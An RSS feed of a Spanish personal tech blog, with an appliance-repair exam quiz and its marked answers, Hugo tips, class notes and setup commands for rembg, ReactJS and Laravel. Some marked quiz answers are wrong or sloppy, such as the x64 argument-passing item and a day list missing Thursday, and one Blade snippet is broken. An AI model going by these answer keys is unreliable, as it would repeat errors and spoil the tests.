<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2dmNozg78mtZMneTz_4yngMz8hhJqKcVEB3zLZuRrxPKxbTj4XnUVdNU3YF0tY9QKOvvBDpSLIg0kdFNOJNTyBhfMPKpKbc7a7I3SK7MzREvDCCTn0-9B-MVVSEeAcnx9puuBU8weOecbfSrPZJrE6zIs1F8PzlcvEd7BKe6Cep_ACsjB-r-K5p6IE0w/s4160/IMG_20241024_143000474_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj36V_Anl4CTYa33dMfT27zz1ab45wLwU7VN7LpQlWPfWDOchn2GsW0C33CZh5-mM75Ejsshi3WyC3Vvoz5ZjCATsvoJHeYCXY7PLd1pfSLOV3je0K5RHj2G-4fM6alxAbBJcV1wUtfMpbL-BNJgfupjvP1oIdM9MNDZRJjPR0pRDXXpXgwDs_AsthCO4k/s4160/IMG_20241024_143000474_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFiWZYrkAM59DOtVWRSnqo4MP6B_FDmr5fg-FfdFSj1ovBTs-9EEUkRfc5yPO0Dt3fuXoP6SWTaQFb0H9YodeNL2muu6qRfBQAq5Pr4Vd_rVYPC5RAEO9xXg7278L91eoQCWwrRnqdwgEhQ2jT9gV-kgMGqqCTpAzMCr7BDgzS-KeFHZLUGkmP_f_kTz0/s4160/IMG_20241024_142959558.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5i5iP0k9OqHQs5dMoOvtu9mJqwu90QLRlo2eA_qcBJnfFpezSxNwKQCN53mpreKYIbp-bYA51Kt8T2RqR8uC13A5I_fjwUAUgeMhW1cF-w8mMeVRQlBu3_1fkr2m22yPeLvdSXiaFCG7BP1r2cVPn_0AHNXyRu1Nvts7Y7cdyNBPEymrYrl7LM0SCuHQ/s4160/IMG_20241024_142949493.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzzqT9usJJnrUlwWf_N1QKxNzHq64YY4_rFGdx4RzXUudYVqHNr6gRIHl4CF9px-s7L4bPB4QkQTcr1N5c0ZIVZ_5pwZ-G22C948aQyP5Tk0ZqMy7aM1WY8IvAzFJaiNLFZMcBhaCSNbNlodh3RFsd5YeOcM6KRQIi3OfphtuHDU6W0joSNumD3dvjW5w/s4160/IMG_20241024_142226415.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiffxyQddVjEaP3tXD967LxqiyqIekINio8HvtCeNPTIGzjatzyQzy7AgsAGsxCLHqx3e1VU3j2jD3Y1qaRNFdFgtUmykChg7xOJ2bthSzm8Z8Sf44xbBm1sOU7IFZL7jfcbo9Bz8ZKMuvjMTNLtEPICvE-8JO76KnltrERFECYnEMbz5puUBI4kccu00k/s4160/IMG_20241024_142219809.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjun05zEjwJ8Y0MbbF0dng0cJMXR2i5fgJFMFf-Nfs7QP_rmkhs03ruPWz-epZQj-Jt2R0lwBPYAA2QBP6BKpdg2szUTXn85fIyTyEkxS3z6ZWH5hxdnR0PRB9yweMcMgewqq7cG8_3N0jIwNzZ3cQtfeSLsbp93E5T_kepsPMg2GMmzofhfM_0ZjKsKVo/s4160/IMG_20241024_142216018.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUv5jdztN31nOwE1X-o2TO2HZjhpsLhkNfMaouQfxnSV7EckRBOlddtnvj2yB9F8K7dxCrbyx97ZmnJ2yHr3lylVen36zfp9XanGv36fZxArD8vASPeMbGScGmnlFjCcvKDe3KZCXhmEdzAtweL93UWaESf1EFHfD0GnPgqfM1AlZ_5Eh9Wfe0N6fgayc/s4160/IMG_20241024_142203085.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQartPZgfL3wWchrp2BjaXyTYdHue6TsZc70cEOqAYGuAhsTe615LDc06_YWq22GECsnSXA9bQ4BcPmMj7JuEkP8yAXTt5SYgX2QBsXp0bSAfER9unvv5Vl5-afm3_FYuh-B0_tjlEeOBm1Zfjx40dwoTsvAl0KfSr8ASk_sUotlQY-mHpzcjua_u1SJ0/s4160/IMG_20241024_141908459.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1cOFEvZmermjh4x4lgHylxwkAvFvjTDUeCkYIf9vr0MnGCGdqy_GLFni5cidRvje-NjJCGm1wI2UyzOEFdGpa1IesiqvU9hpOmSFb8U1z9O6SzJGzUFTSveNpLmk09kNPPebMeh0xAM1oCrL0oyedxFlN6Rjh0dCa2jWUwpx7ySt0O5vutYbjP8QndOE/s4160/IMG_20241024_141713383.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZO8aN_lJQuXecY_sGNx8LH4etjXlcQJpeVZSVeiMGgpqhpjWUvfByaiS_Qi2nnixEIWZCPkSXlPc8wuYPgT8xYZwSoIg_y1m7geiZQ2Tf7FQNCkP99huppTNlTrwd0LLvuOB0tniVfPzaE-DKJqQcIURxFm8DlP6QaXdLUWwk_f0ip76osApfUTu4ynI/s4160/IMG_20241024_141705201.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEptNC0Emiu1Vn0aDvWJri9DCRJ0zFMz_TlJr8cKk6b04NkaU-RNraoXz_fp_sOVPJecOP332SQXpqZDdmbiHxT7FwxIz3ekVpyeF93j3KbQryrrMeGBJzp0PgwY3J7nLZj2ioLsLUMToZZuoz-h5JmFUb9BxLdITh6kQdNnGmJidfxOPLz6s_aZBTIcI/s4160/IMG_20241024_141126060.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl7PGRlomeaRiM8aoWr6bKkRsq_42qQjqfI_3u_XlpOJlF8MHQS6hX6FzRoECgSU2_nDYPtdv_kqBe_GBQCkhMQiLJjcLvFp_0gRto7aCuPI90g4Mv8gvL9eB60GSkvkcV1xVKcTqclG7h_ZKcuuprVvq9usKcsvbpj0GY49NURPD803jtcG8P4s7icSU/s4160/IMG_20241024_140053519.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioQEgdIOhhcrqR2o3I8Jr-jtnDr2K67JcKR0GGZV0vbBorVAjkR7bQY5P9WJ40_1TKdLg15dLdbrAkG9F1PykvwfTz42Vagt9YfUVuc6D7KDPfvRhFjLe3gSrgCdfGoxlXJa1Z823NvGLlthIiuHEuP5xxcNFFV_MLhh_SBzrE8FWAX15hMJ8SbFokp-A/s4160/IMG_20241024_140049601.jpg" alt=""></p>
-
Bomba de agua: problemas
https://imlauera.github.io/bomba_de_agua/
Fri, 01 Nov 2024 07:19:26 -0300
https://imlauera.github.io/bomba_de_agua/
<p><a href="https://imlauer.blogspot.com/2024/06/bomba-de-agua.html">https://imlauer.blogspot.com/2024/06/bomba-de-agua.html</a></p>
-
Test exámen final de electrodomesticos
https://imlauera.github.io/post/test_electrodomesticos/
Sun, 20 Oct 2024 18:45:49 -0300
https://imlauera.github.io/post/test_electrodomesticos/
<p>Acá hice una presentación de las preguntas:<br>
<a href="https://imlauera.github.io/files/examenelectro/examen_final_electrodomesticos.pdf">preguntas contestadas</a></p>
<div class='quizdown'>
---
primary_color: blue
secondary_color: lightgray
text_color: black
shuffle_questions: false
shuffle_answers: true
---
### Qué es un electrodoméstico?
> Son aparatos eléctricos diseñados para facilitar tareas en el hogar, como cocinar, limpiar y conservar alimentos. Ejemplos incluyen frigoríficos, hornos y lavadoras
- [x] Son aparatos eléctricos diseñados para facilitar tareas en el hogar, como cocinar, limpiar y conservar alimentos. Ejemplos incluyen frigoríficos, hornos y lavadoras
- [ ] Un aparato que solo funciona con baterías.
- [ ] Un tipo de mueble utilizado en la cocina.
- [ ] Un vehículo utilizado para el transporte de personas.
### Qué es una línea marrón?
> Un grupo de electrodomésticos relacionados con el entretenimiento y la comunicación.
- [ ] Un tipo de electrodoméstico que se utiliza para la cocina.
- [x] Un grupo de electrodomésticos relacionados con el entretenimiento y la comunicación, como televisores, equipos de audio y computadoras
- [ ] Un sistema de calefacción para el hogar.
- [ ] Un tipo de electrodoméstico que se utiliza para la limpieza del hogar.
## Qué es una línea blanca?
> Un grupo de electrodomésticos que se utilizan para la cocina, limpieza y refrigeración.
- [ ] Un grupo de electrodomésticos relacionados con el entretenimiento y la comunicación.
- [x] Un grupo de electrodomésticos que se utilizan para la cocina, limpieza y refrigeración como neveras, lavadoras y cocinas.
- [ ] Un tipo de electrodoméstico que se utiliza para la calefacción del hogar.
- [ ] Un grupo de pequeños electrodomésticos de uso diario.
## Nombre grandes electrodomésticos.
> Frigoríficos y lavadoras, secadoras, cocinas, lavavajillas.
- [ ] Televisores y reproductores de música.
- [x] Frigoríficos y lavadoras, secadoras, cocinas, lavavajillas.
- [ ] Cafeteras y tostadoras.
- [ ] Computadoras y teléfonos móviles.
## Nombra pequeña aplicación de electrodomésticos.
> Licuadora, Cafeteras, Tostadoras, Afeitadoras, Freidoras
- [x] Licuadora, Cafeteras, Tostadoras, Afeitadoras, Freidoras
- [ ] Frigorífico, lavadora, horno.
- [ ] Aire acondicionado, calefactor, extractor de aire.
- [ ] Televisor, computadora, reproductor de audio.
## Realiza un circuito eléctrico de una estufa eléctrica halógena de tres velas e identifica sus componentes.

> Some hint
- [x] La estufa eléctrica halógena es el mismo circuito que un horno eléctrico.
- [ ] No, la estufa eléctrica es diferente que el circuito de un horno eléctrico.
## Si una o más velas no encienden, menciona la causa, y cuál sería la solución y/o la reparación.
> Todas son correctas.
- [x] Contacto del temporisador dañado
- [x] Fallo en las Resistencias: Las resistencias pueden estar quemadas o dañadas, lo que impide que se calienten y, por ende, que el horno funcione correctamente.
- [x] Conexiones Sueltas: Un cable suelto o mal conectado puede interrumpir el flujo eléctrico hacia las resistencias.
- [x] Problemas Eléctricos: Puede haber problemas con la alimentación eléctrica, como un mal contacto en el enchufe o en el cableado interno del horno. Esto puede causar que algunas resistencias no reciban energía.
- [x] Avería en el Termostato: Si el termostato no funciona correctamente, puede no permitir que las resistencias se activen como deberían.
- [x] switch de operación
## Cual sería la solución? De que las velas no encienden?
> Todas son correctas.
- [ ] Pegarle una patada al horno y comprar uno nuevo.
- [x] Probar continuidad en el enchufe, los cables, termostato, temporizador, switch de operación, las velas y reemplazar lo que esté dañado.
## Realiza un circuito de una plancha eléctrica.

> Placa de base, resistencia de calefacción, termostato, interruptor.
- [x] Placa de base, resistencia de calefacción, termostato, interruptor.
- [ ] Motor, ventilador, batería, pantalla digital.
- [ ] Cámara de combustión, válvula de gas, termómetro, filtro.
- [ ] Panel solar, inversor, batería, regulador.
## ¿Cómo se realiza una medición de continuidad?
> Desconectar la fuente de alimentación, configurar el multímetro en modo de continuidad, y conectar las puntas de prueba entre los puntos a medir.
- [ ] Conectar el multímetro a la corriente y medir la tensión entre dos puntos.
- [x] Desconectar la fuente de alimentación, configurar el multímetro en modo de continuidad, y conectar las puntas de prueba entre los puntos a medir.
- [ ] Utilizar un osciloscopio para observar las ondas eléctricas en el circuito.
- [ ] Medir la resistencia del circuito sin desconectar la fuente de alimentación.
## Si una plancha funciona pero no se logra la temperatura adecuada, nombre la causa, y cual es la solución.
> El termostato está defectuoso. Solución: Reemplazar el termostato.
- [x] El termostato está defectuoso. Solución: Reemplazar el termostato.
- [ ] La plancha está desenchufada. Solución: Conectar la plancha a la corriente.
- [ ] La resistencia de calefacción está sucia. Solución: Limpiar la resistencia con un paño húmedo.
- [ ] El cable de alimentación está dañado. Solución: Reparar el cable con cinta aislante.
## ¿Por qué se frena un ventilador y cómo solucionar?
> Causa: Acumulación de polvo o un motor defectuoso, falta de lubricación, internas dañadas, como rodamientos o el mismo eje, esto puede causar fricción excesiva y eventual bloqueo del ventilador. Fallo en componentes eléctricos, como el capacitor del motor, puede hacer que el ventilador no arranque correctamente o se detenga después de un corto tiempo. Deformación del Buje: Con el uso y la exposición al calor, el buje puede deformarse, lo que reduce el espacio entre él y el eje. Esto provoca un bloqueo que impide que el ventilador gire. Solución: Limpiar el ventilador y verificar el motor. Limpiar y Lubricar: Limpiar cualquier residuo acumulado y aplicar un lubricante adecuado puede ayudar a restaurar la funcionalidad del ventilador. Reemplazar Componentes Dañados: Si se identifica desgaste en los bujes o ejes, es recomendable reemplazarlos para evitar futuros problemas.
- [x] Acumulación de polvo en las aspas. Se gasta el buje capacitor. Solución: Limpiar las aspas del ventilador.
- [x] El motor está sobrecalentado. Solución: Dejar enfriar el motor antes de usarlo nuevamente.
- [x] El cable de alimentación está dañado. Solución: Reemplazar el cable de alimentación.
- [x] El interruptor está defectuoso. Solución: Cambiar el interruptor por uno nuevo.
- [x] Deformación del Buje: Con el uso y la exposición al calor, el buje puede deformarse
## Realiza el diagrama eléctrico del ventilador y la disposición de las bobinas de un ventilador de tres velocidades.


> Ver imágen
- [x] El diagrama está arriba
## ¿Cómo medir continuidad de un ventilador?
> Desconectar el ventilador, configurar el multímetro en modo de resistencia, y conectar las puntas a los terminales de la bobina.
- [x] Desconectar el ventilador, configurar el multímetro en modo de resistencia, y conectar las puntas a los terminales de la bobina.
- [ ] Dejar el ventilador encendido y medir la tensión entre los cables de alimentación.
- [ ] Conectar el ventilador a una fuente de energía y observar si funciona.
- [ ] Utilizar un osciloscopio para medir la frecuencia del motor.
## ¿Por qué motivo un secador de ropa centrífugo no arranca?
> El blocapuertas está defectuoso o no cierra correctamente.
- [ ] El tambor está bloqueado por ropa atascada.
- [x] El blocapuertas está defectuoso o no cierra correctamente.
- [ ] La manguera de desagüe está obstruida.
- [ ] El motor está sobrecalentado.
## Nombra los componentes de un lavarropas semiautomático.
> Cesto, motor, bomba de desagüe, y panel de control.
- [x] Cesto, motor, bomba de desagüe, y panel de control.
- [ ] Termostato, resistencia, compresor, y filtro.
- [ ] Cámara de combustión, válvula de gas, y sensor de temperatura.
- [ ] Batería, inversor, y panel solar.
## Si un lavarropas semiautomático ajustamos el tiempo de lavado y el motor no arranca, menciona la causa y la solución.
> El temporizador está defectuoso. Solución: Reemplazar el temporizador.
- [x] El temporizador está defectuoso. Solución: Reemplazar el temporizador.
- [ ] La tapa no está cerrada correctamente. Solución: Asegurarse de que la tapa esté bien cerrada.
- [ ] El termostato está defectuoso. Solución: Reemplazar el termostato.
- [ ] La manguera de desagüe está obstruida. Solución: Limpiar la manguera de desagüe.
- [ ] Todo lo de siempre: el cable, etc...
## Nombra los componentes de un lavarropa automático.
> Motor, tambor, bomba de desagüe, y sensor de nivel.
- [x] Motor, tambor, bomba de desagüe, y sensor de nivel.
- [ ] Cesto, reloj temporizador, manguera de desagüe, y filtro de aire.
- [ ] Compresor, válvula de gas, y termostato.
- [ ] Batería, inversor, y panel solar.
## De que distintas formas el lavarropas manifiesta "ERROR"
> Todas son correctas.
- [x] Diferentes Códigos de Error
- [x] Señales Auditivas Algunos modelos emiten pitidos o sonidos
- [x] específicos como parte del sistema de aviso. Por ejemplo: Un
- [x] pitido puede indicar un error menor o que el ciclo ha terminado.
- [x] Dos pitidos pueden señalar problemas más serios, como fallos en el drenaje.
- [x] Luces Intermitentes Los lavarropas a menudo utilizan luces intermitentes para indicar errores. Por ejemplo: Una luz parpadeante puede señalar que hay un problema con el ciclo actual o un componente específico.
- [x] Mensajes en Pantalla.
- [x] Comportamiento Anómalo.
## Detalla la tabla de errores.
> Todas
- [ ] Error 4C: Problema de suministro de agua. Causa: Grifo cerrado o manguera obstruida.
- [ ] Error E20: Problemas de bombeo. Causa: Manguera de desagüe doblada o filtro obstruido.
- [ ] Error E7: La puerta no traba. Causa: Mal funcionamiento del blocapuerta.
- [x] Todas las anteriores.
## Detalla las conexiones en una placa de lavarropas automático.
> Electroválvula de llenado, motor, sensor de puerta, y bomba de desagüe.
- [x] Electroválvula de llenado, motor, sensor de puerta, y bomba de desagüe.
- [ ] Compresor, termostato, resistencia, y filtro.
- [ ] Batería, inversor, y panel solar.
- [ ] Cámara de combustión, válvula de gas, y sensor de temperatura.
## Realiza un circuito de comprobación de lavarropa.

> Desconectar la lavadora, medir la continuidad del cable de alimentación con un multímetro, y verificar que llegue corriente a la placa.
- [x] Desconectar la lavadora, medir la continuidad del cable de alimentación con un multímetro, y verificar que llegue corriente a la placa.
- [ ] Conectar la lavadora a la corriente y observar si el tambor gira.
- [ ] Revisar el manual del usuario para encontrar códigos de error y seguir las instrucciones.
- [ ] Limpiar el filtro de agua y reiniciar la máquina.
## Nombra la causa de un lavarropa sin estabilidad en el centrifugado.
> Todas
- [ ] Ropa desbalanceada en el tambor.
- [ ] Falta de nivelación del lavarropas.
- [ ] Amortiguadores o resortes dañados.
- [x] Todas las anteriores.
</div>
-
HUGO consejos: NO subir imágenes
https://imlauera.github.io/post/hugo_consejos/
Sun, 20 Oct 2024 12:01:48 -0300
https://imlauera.github.io/post/hugo_consejos/
<p>Lo más recomendable es subir las imágenes a otro repositorio, porque sino cuando generás la página ejecutando hugo te genera una carpeta llamada <code>public</code> y te copia todas las imágenes a public, o sea si tenés 10 gigas de imágenes vas a tener 20 gigas de imágenes.</p>
<p>Sería bueno crear otro repositorio de la carpeta static así:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd static
</span></span><span style="display:flex;"><span>git init .
</span></span><span style="display:flex;"><span>git add . <span style="color:#f92672">&&</span> git commit -m <span style="color:#e6db74">"images and files"</span> <span style="color:#f92672">&&</span> git push
</span></span></code></pre></div><p>O creá el repositorio y clonalo como static:</p>
-
Creá test de preguntas con Hugo quiz
https://imlauera.github.io/post/hugo_quiz/
Sun, 20 Oct 2024 11:45:15 -0300
https://imlauera.github.io/post/hugo_quiz/
<p><a href="https://imlauera.github.io/files/hugo-quiz-master.zip">HUGO Quiz Master</a></p>
<p><a href="https://github.com/bonartm/hugo-quiz">https://github.com/bonartm/hugo-quiz</a></p>
<h4 id="hugo-learn-theme">Hugo-learn theme</h4>
<ol>
<li>Para instalar y configurar la biblioteca, copie el archivo <code>demo/layouts/partials/custom-header.html</code> en su carpeta local de <code>layouts/partials/</code>. Esto inserta el código javascript necesario dentro de la sección principal del sitio web de hugo.</li>
<li>Para instalar el código corto, copie el contenido de <code>demo/layouts/shortcodes/quizdown.html</code> en su carpeta local de <code>layouts/shortcodes/</code>.</li>
<li>En <code>vim _default/baseof.html</code> tenés que agregar arriba de footer.html:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> <span style="color:#f92672">{{</span>- partial <span style="color:#e6db74">"custom-header.html"</span> . -<span style="color:#f92672">}}</span>
</span></span></code></pre></div><ol start="4">
<li>Actualmente, la marca <code>--minify</code> del comando hugo causa problemas con el código de rebajas de quizdown sin procesar. Elimine la bandera al crear su sitio web o utilice la siguiente opción en su <code>config.toml</code>:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>minify<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> disableHTML <span style="color:#f92672">=</span> true
</span></span></code></pre></div><h1 id="hugo-quiz">Hugo Quiz</h1>
<div class='quizdown'>
---
primary_color: orange
secondary_color: lightgray
text_color: black
shuffle_questions: false
---
## ASM 64 bits
---
shuffle_answers: false
---
Como se pasan los argumentos a las funciones en ASM de 64 bits?

> Some hint
- [x] RCX, RDX, R8, R9
- [ ] Los argumentos se pasan por el stack.
- [ ] Los primeros 4 argumentos se pasan RCX, RDX, R8, R9 los demás por el stack.
## Poné los [días](https://en.wikipedia.org/wiki/Day) en órden!
> Lunes es el primer día de la semana.
1. Lunes
2. Martes
3. Miércoles
4. Viernes
5. Sábado
</div>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 14) - Pinza amperométrica. Ley de Ohm. Diagrama exámen. Verificar motocompresor dañado.
https://imlauera.github.io/post/clase14_aire/
Sat, 19 Oct 2024 14:11:10 -0300
https://imlauera.github.io/post/clase14_aire/
<h4 id="audio-en-vocaroo">Audio en Vocaroo</h4>
<p><a href="https://vocaroo.com/1iQqONMenjQs">https://vocaroo.com/1iQqONMenjQs</a></p>
<h4 id="audio-en-youtube">Audio en YouTube</h4>
<p><a href="https://youtu.be/ZbttTlJOlgE">https://youtu.be/ZbttTlJOlgE</a></p>
<h4 id="audio-en-invidious">Audio en Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=ZbttTlJOlgE">https://redirect.invidious.io/watch?v=ZbttTlJOlgE</a></p>
<p><img src="https://imlauera.github.io/img/clase14aire/pinza.jpeg" alt="pinza amperométrica"></p>
<p>Una pinza amperométrica es una herramienta de medida eléctrica que combina un multimetro digital básico con un sensor de conveniencia.</p>
<p>La pinza mide la corriente. La sonda mide la tensión. Tienen una tenaza vatiente integrada a un instrumento eléctrico permite a los técnicos colocar las tenazas de la pinza alrededor de un alambre o cable, y el otro conductor en cualquier punto de un sistema eléctrico para medir la corriente en dicho circuito sin desconectarlo o desactivarlo.</p>
-
Module Not Found Error No module named 'rembg'
https://imlauera.github.io/post/modulenotfounderror_no_module_named_rembg/
Fri, 18 Oct 2024 16:50:21 -0300
https://imlauera.github.io/post/modulenotfounderror_no_module_named_rembg/
<p>Como arreglé este problema:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ModuleNotFoundError: No module named <span style="color:#e6db74">'rembg'</span>
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>rm .local/bin/rembg
</span></span><span style="display:flex;"><span>pip uninstall rembg
</span></span><span style="display:flex;"><span>python -m venv rembg
</span></span><span style="display:flex;"><span>source rembg/bin/activate
</span></span><span style="display:flex;"><span>pip install asyncer gradio aiohttp watchdog filetype click
</span></span><span style="display:flex;"><span>rembg i image.jpg asdf.png
</span></span></code></pre></div>
-
Construir app ReactJS ExpressJS
https://imlauera.github.io/post/construir_app_reactjs_expressjs/
Fri, 18 Oct 2024 16:00:39 -0300
https://imlauera.github.io/post/construir_app_reactjs_expressjs/
<p><a href="https://www.freecodecamp.org/news/how-to-build-a-fullstack-authentication-system-with-react-express-mongodb-heroku-and-netlify/">https://www.freecodecamp.org/news/how-to-build-a-fullstack-authentication-system-with-react-express-mongodb-heroku-and-netlify/</a></p>
<p><a href="https://medium.com/@it.ermias.asmare/user-authentication-and-authorization-in-express-and-mongodb-using-jwt-643503a23452">https://medium.com/@it.ermias.asmare/user-authentication-and-authorization-in-express-and-mongodb-using-jwt-643503a23452</a></p>
<p><a href="https://medium.com/@anandam00/build-a-secure-authentication-system-with-nodejs-and-mongodb-58accdeb5144">https://medium.com/@anandam00/build-a-secure-authentication-system-with-nodejs-and-mongodb-58accdeb5144</a></p>
<p><a href="https://medium.com/@diego.coder/autenticaci%C3%B3n-en-node-js-con-json-web-tokens-y-express-ed9d90c5b579">https://medium.com/@diego.coder/autenticaci%C3%B3n-en-node-js-con-json-web-tokens-y-express-ed9d90c5b579</a></p>
-
Manejando casa remotamente a través de internet con Arduino FanIOT y firebase
https://imlauera.github.io/post/arduino_faniot_led_firebase/
Fri, 18 Oct 2024 07:56:44 -0300
https://imlauera.github.io/post/arduino_faniot_led_firebase/
<p>Hace 2 años creé una aplicación en ReactJS con Firebase y leía esos campos de FireBase desde un ESP32 así podía prender y apagar luces remotamente, leer sensores.</p>
<h4 id="aplicación-de-reactjs"><a href="https://imlauera.github.io/files/reactjs_ESP32logger-main.zip">Aplicación de ReactJS</a></h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt remove cmdtest
</span></span><span style="display:flex;"><span>sudo npm install -g yarn
</span></span><span style="display:flex;"><span>unzip reactjs_ESP32logger-main.zip
</span></span><span style="display:flex;"><span>cd reactjs_ESP32logger-main
</span></span><span style="display:flex;"><span>rm -rf node_modules
</span></span><span style="display:flex;"><span>rm -rf yarn.lock
</span></span><span style="display:flex;"><span>yarn add [email protected]
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Agregá en package.json</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">"resolutions"</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"caniuse-lite"</span>: <span style="color:#e6db74">"1.0.30001632"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Borrá todos los babels de yarn.lock</span>
</span></span><span style="display:flex;"><span>The solution was to manually delete all @babel/* entries from yarn.lock and running:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>yarn cache clean <span style="color:#f92672">&&</span> yarn install <span style="color:#f92672">&&</span> yarn dedupe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>to let Yarn regenerate those with the latest applicable version and hopefully compatible manner. This helped the parsing issue, but a new issue that<span style="color:#960050;background-color:#1e0010">'</span>s mentioned by OP popped up.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>yarn install
</span></span><span style="display:flex;"><span>yarn build
</span></span><span style="display:flex;"><span>export NODE_OPTIONS<span style="color:#f92672">=</span>--openssl-legacy-provider
</span></span><span style="display:flex;"><span>yarn start
</span></span></code></pre></div><h5 id="para-arreglar-el-problema-de-404">Para arreglar el problema de 404:</h5>
<p><a href="https://stackoverflow.com/questions/45412014/how-do-i-set-the-start-url-of-a-manifest-json-to-be-the-root-of-the-site">https://stackoverflow.com/questions/45412014/how-do-i-set-the-start-url-of-a-manifest-json-to-be-the-root-of-the-site</a></p>
-
Laravel register
https://imlauera.github.io/post/laravel_register/
Thu, 17 Oct 2024 20:20:13 -0300
https://imlauera.github.io/post/laravel_register/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>composer require laravel/jetstream
</span></span><span style="display:flex;"><span>php artisan jetstream:install livewire
</span></span><span style="display:flex;"><span>npm install
</span></span><span style="display:flex;"><span>npm run build
</span></span><span style="display:flex;"><span>Cambios en la base de datos.
</span></span><span style="display:flex;"><span>Andá a la carpeta: database > migrations > 2014...create_users_table.php
</span></span><span style="display:flex;"><span>Y agregá el campo que quieras:
</span></span><span style="display:flex;"><span>$table->string<span style="color:#f92672">(</span><span style="color:#e6db74">'usertype'</span><span style="color:#f92672">)</span>->default<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>$table->string<span style="color:#f92672">(</span><span style="color:#e6db74">'phone'</span><span style="color:#f92672">)</span>->default<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>$table->string<span style="color:#f92672">(</span><span style="color:#e6db74">'address'</span><span style="color:#f92672">)</span>->default<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>php artisan migrate
</span></span></code></pre></div><p>Andá a la carpeta auth al archivo register.blade.php y agregá el campo.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"mt-4"</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">x-jet-label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">"phone"</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">"{{ __('phone') }}/>
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> <x-jet-input id="</span><span style="color:#a6e22e">phone</span><span style="color:#960050;background-color:#1e0010">"</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"block mt-1 w-full"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"number"</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">"{{</span> <span style="color:#a6e22e">__</span><span style="color:#960050;background-color:#1e0010">('</span><span style="color:#a6e22e">phone</span><span style="color:#960050;background-color:#1e0010">')</span> <span style="color:#960050;background-color:#1e0010">}}</span>/>
</span></span><span style="display:flex;"><span> <span style="color:#960050;background-color:#1e0010"><</span>><span style="color:#960050;background-color:#1e0010"><</span>/>
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
</span></span></code></pre></div><p><code>config > fortify.php</code></p>
